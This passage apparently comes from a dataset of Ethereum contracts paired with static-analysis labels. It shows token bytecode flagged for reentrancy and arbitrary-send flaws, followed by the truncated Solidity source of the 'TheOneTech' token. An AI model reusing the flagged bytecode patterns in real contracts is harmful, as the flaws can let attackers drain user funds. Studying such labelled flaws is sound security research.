00000000000000000000000000000000000000000000000000000815260040161083090613145565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108d56113b6565b73ffffffffffffffffffffffffffffffffffffffff16146108f557600080fd5b600047905061090381611db9565b50565b6000610950600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb4565b9050919050565b61095f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e390613145565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ab26113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3690613145565b60405180910390fd5b60008111610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b79906130e5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f556e69636f726e696ff09fa68400000000000000000000000000000000000000815250905090565b6000610c06610bff6113b6565b8484611589565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c516113b6565b73ffffffffffffffffffffffffffffffffffffffff1614610c7157600080fd5b6000610c7c30610906565b9050610c8781611f22565b50565b610c926113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690613145565b60405180910390fd5b60008111610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990613105565b60405180910390fd5b610d916064610d8383683635c9adc5dea0000061221c90919063ffffffff16565b61229790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610dc891906131e5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e626113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690613145565b60405180910390fd5b600f60149054906101000a900460ff1615610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fcf30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113be565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612a6f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e79190612a6f565b6040518363ffffffff1660e01b8152600401611104929190612f55565b602060405180830381600087803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111569190612a6f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111df30610906565b6000806111ea610b8c565b426040518863ffffffff1660e01b815260040161120c96959493929190612fa7565b6060604051808303818588803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061125e9190612c1b565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611360929190612f7e565b602060405180830381600087803b15801561137a57600080fd5b505af115801561138e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b29190612bc9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611425906131a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611495906130a5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157c91906131e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166090613045565b60405180910390fd5b600081116116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613165565b60405180910390fd5b6116b4610b8c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172257506116f2610b8c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600f60179054906101000a900460ff1615611955573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118585750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189e6113b6565b73ffffffffffffffffffffffffffffffffffffffff1614806119145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118fc6113b6565b73ffffffffffffffffffffffffffffffffffffffff16145b611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906131c5565b60405180910390fd5b5b5b60105481111561196457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611abc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b125750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2a5750600f60179054906101000a900460ff165b15611bd85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7a57600080fd5b6001601154611b8991906133a2565b42611b94919061331b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610906565b9050600f60159054906101000a900460ff16158015611c505750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750600f60169054906101000a900460ff165b15611c9057611c7681611f22565b60004790506000811115611c8e57611c8d47611db9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d4357600090505b611d4f848484846122e1565b50505050565b6000838311158290611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d949190613023565b60405180910390fd5b5060008385611dac91906133fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0960028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8560028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb0573d6000803e3d6000fd5b5050565b6000600654821115611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef290613085565b60405180910390fd5b6000611f0561230e565b9050611f1a818461229790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a6f565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb959493929190613200565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561222f5760009050612291565b6000828461223d91906133a2565b905082848261224c9190613371565b1461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390613125565b60405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612339565b905092915050565b806122ef576122ee61239c565b5b6122fa8484846123cd565b8061230857612307612598565b5b50505050565b600080600061231b6125aa565b91509150612332818361229790919063ffffffff16565b9250505090565b60008083118290612380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123779190613023565b60405180910390fd5b506000838561238f9190613371565b9050809150509392505050565b60006008541480156123b057506000600954145b156123ba576123cb565b600060088190555060006009819055505b565b6000806000806000806123df8761260c565b95509550955095509550955061243d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251e8161271c565b61252884836127d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161258591906131e5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506125e0683635c9adc5dea0000060065461229790919063ffffffff16565b8210156125ff57600654683635c9adc5dea00000935093505050612608565b81819350935050505b9091565b60008060008060008060008060006126298a600854600954612813565b925092509250600061263961230e565b9050600080600061264c8e8787876128a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d55565b905092915050565b60008082846126cd919061331b565b905083811015612712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612709906130c5565b60405180910390fd5b8091505092915050565b600061272661230e565b9050600061273d828461221c90919063ffffffff16565b905061279181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127ee8260065461267490919063ffffffff16565b600681905550612809816007546126be90919063ffffffff16565b6007819055505050565b60008060008061283f6064612831888a61221c90919063ffffffff16565b61229790919063ffffffff16565b90506000612869606461285b888b61221c90919063ffffffff16565b61229790919063ffffffff16565b9050600061289282612884858c61267490919063ffffffff16565b61267490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c2858961221c90919063ffffffff16565b905060006128d9868961221c90919063ffffffff16565b905060006128f0878961221c90919063ffffffff16565b905060006129198261290b858761267490919063ffffffff16565b61267490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129456129408461329a565b613275565b9050808382526020820190508285602086028201111561296457600080fd5b60005b85811015612994578161297a888261299e565b845260208401935060208301925050600181019050612967565b5050509392505050565b6000813590506129ad81613901565b92915050565b6000815190506129c281613901565b92915050565b600082601f8301126129d957600080fd5b81356129e9848260208601612932565b91505092915050565b600081359050612a0181613918565b92915050565b600081519050612a1681613918565b92915050565b600081359050612a2b8161392f565b92915050565b600081519050612a408161392f565b92915050565b600060208284031215612a5857600080fd5b6000612a668482850161299e565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016129b3565b91505092915050565b60008060408385031215612aab57600080fd5b6000612ab98582860161299e565b9250506020612aca8582860161299e565b9150509250929050565b600080600060608486031215612ae957600080fd5b6000612af78682870161299e565b9350506020612b088682870161299e565b9250506040612b1986828701612a1c565b9150509250925092565b60008060408385031215612b3657600080fd5b6000612b448582860161299e565b9250506020612b5585828601612a1c565b9150509250929050565b600060208284031215612b7157600080fd5b600082013567ffffffffffffffff811115612b8b57600080fd5b612b97848285016129c8565b91505092915050565b600060208284031215612bb257600080fd5b6000612bc0848285016129f2565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a07565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1c565b91505092915050565b600080600060608486031215612c3057600080fd5b6000612c3e86828701612a31565b9350506020612c4f86828701612a31565b9250506040612c6086828701612a31565b9150509250925092565b6000612c768383612c82565b60208301905092915050565b612c8b81613430565b82525050565b612c9a81613430565b82525050565b6000612cab826132d6565b612cb581856132f9565b9350612cc0836132c6565b8060005b83811015612cf1578151612cd88882612c6a565b9750612ce3836132ec565b925050600181019050612cc4565b5085935050505092915050565b612d0781613442565b82525050565b612d1681613485565b82525050565b6000612d27826132e1565b612d31818561330a565b9350612d41818560208601613497565b612d4a816135d1565b840191505092915050565b6000612d6260238361330a565b9150612d6d826135e2565b604082019050919050565b6000612d85601a8361330a565b9150612d9082613631565b602082019050919050565b6000612da8602a8361330a565b9150612db38261365a565b604082019050919050565b6000612dcb60228361330a565b9150612dd6826136a9565b604082019050919050565b6000612dee601b8361330a565b9150612df9826136f8565b602082019050919050565b6000612e11601b8361330a565b9150612e1c82613721565b602082019050919050565b6000612e34601d8361330a565b9150612e3f8261374a565b602082019050919050565b6000612e5760218361330a565b9150612e6282613773565b604082019050919050565b6000612e7a60208361330a565b9150612e85826137c2565b602082019050919050565b6000612e9d60298361330a565b9150612ea8826137eb565b604082019050919050565b6000612ec060258361330a565b9150612ecb8261383a565b604082019050919050565b6000612ee360248361330a565b9150612eee82613889565b604082019050919050565b6000612f0660118361330a565b9150612f11826138d8565b602082019050919050565b612f258161346e565b82525050565b612f3481613478565b82525050565b6000602082019050612f4f6000830184612c91565b92915050565b6000604082019050612f6a6000830185612c91565b612f776020830184612c91565b9392505050565b6000604082019050612f936000830185612c91565b612fa06020830184612f1c565b9392505050565b600060c082019050612fbc6000830189612c91565b612fc96020830188612f1c565b612fd66040830187612d0d565b612fe36060830186612d0d565b612ff06080830185612c91565b612ffd60a0830184612f1c565b979650505050505050565b600060208201905061301d6000830184612cfe565b92915050565b6000602082019050818103600083015261303d8184612d1c565b905092915050565b6000602082019050818103600083015261305e81612d55565b9050919050565b6000602082019050818103600083015261307e81612d78565b9050919050565b6000602082019050818103600083015261309e81612d9b565b9050919050565b600060208201905081810360008301526130be81612dbe565b9050919050565b600060208201905081810360008301526130de81612de1565b9050919050565b600060208201905081810360008301526130fe81612e04565b9050919050565b6000602082019050818103600083015261311e81612e27565b9050919050565b6000602082019050818103600083015261313e81612e4a565b9050919050565b6000602082019050818103600083015261315e81612e6d565b9050919050565b6000602082019050818103600083015261317e81612e90565b9050919050565b6000602082019050818103600083015261319e81612eb3565b9050919050565b600060208201905081810360008301526131be81612ed6565b9050919050565b600060208201905081810360008301526131de81612ef9565b9050919050565b60006020820190506131fa6000830184612f1c565b92915050565b600060a0820190506132156000830188612f1c565b6132226020830187612d0d565b81810360408301526132348186612ca0565b90506132436060830185612c91565b6132506080830184612f1c565b9695505050505050565b600060208201905061326f6000830184612f2b565b92915050565b600061327f613290565b905061328b82826134ca565b919050565b6000604051905090565b600067ffffffffffffffff8211156132b5576132b46135a2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133268261346e565b91506133318361346e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561336657613365613544565b5b828201905092915050565b600061337c8261346e565b91506133878361346e565b92508261339757613396613573565b5b828204905092915050565b60006133ad8261346e565b91506133b88361346e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f1576133f0613544565b5b828202905092915050565b60006134078261346e565b91506134128361346e565b92508282101561342557613424613544565b5b828203905092915050565b600061343b8261344e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134908261346e565b9050919050565b60005b838110156134b557808201518184015260208101905061349a565b838111156134c4576000848401525b50505050565b6134d3826135d1565b810181811067ffffffffffffffff821117156134f2576134f16135a2565b5b80604052505050565b60006135068261346e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353957613538613544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61390a81613430565b811461391557600080fd5b50565b61392181613442565b811461392c57600080fd5b50565b6139388161346e565b811461394357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005ec5c45878e8ecba569eba955aa2936c8c921ced4aad2697f2e2b543fa9701364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,464 |
0xf93d5f09d2d9f04c8342b0d504ad8945417378c7
|
/**
*Submitted for verification at Etherscan.io on 2021-04-22
* Ely Net and Tor Korea
*/
pragma solidity ^0.5.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner returns(bool) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract TheOneTech is ERC20, Ownable, Pausable {
using SafeMath for uint256;
struct LockupInfo {
uint256 releaseTime;
uint256 termOfRound;
uint256 unlockAmountPerRound;
uint256 lockupBalance;
}
string public name;
string public symbol;
uint8 constant public decimals =18;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) internal locks;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
mapping(address => LockupInfo[]) internal lockupInfo;
event Lock(address indexed holder, uint256 value);
event Unlock(address indexed holder, uint256 value);
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "TheOneTech";
symbol = "TOT";
initialSupply = 10000000000;
totalSupply_ = initialSupply * 10 ** uint(decimals);
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
//
function () external payable {
revert();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) {
if (locks[msg.sender]) {
autoUnlock(msg.sender);
}
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
if(locks[_holder]) {
for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++ ) {
lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance);
}
}
return balances[_holder] + lockedBalance;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) {
if (locks[_from]) {
autoUnlock(_from);
}
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
require(isContract(_spender));
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance( address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
require(balances[_holder] >= _amount);
if(_termOfRound==0 ) {
_termOfRound = 1;
}
balances[_holder] = balances[_holder].sub(_amount);
lockupInfo[_holder].push(
LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount)
);
locks[_holder] = true;
emit Lock(_holder, _amount);
return true;
}
function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) {
require(locks[_holder]);
require(_idx < lockupInfo[_holder].length);
LockupInfo storage lockupinfo = lockupInfo[_holder][_idx];
uint256 releaseAmount = lockupinfo.lockupBalance;
delete lockupInfo[_holder][_idx];
lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)];
lockupInfo[_holder].length -=1;
if(lockupInfo[_holder].length == 0) {
locks[_holder] = false;
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
}
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
function getNowTime() public view returns(uint256) {
return now;
}
function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) {
if(locks[_holder]) {
return (
locks[_holder],
lockupInfo[_holder].length,
lockupInfo[_holder][_idx].lockupBalance,
lockupInfo[_holder][_idx].releaseTime,
lockupInfo[_holder][_idx].termOfRound,
lockupInfo[_holder][_idx].unlockAmountPerRound
);
} else {
return (
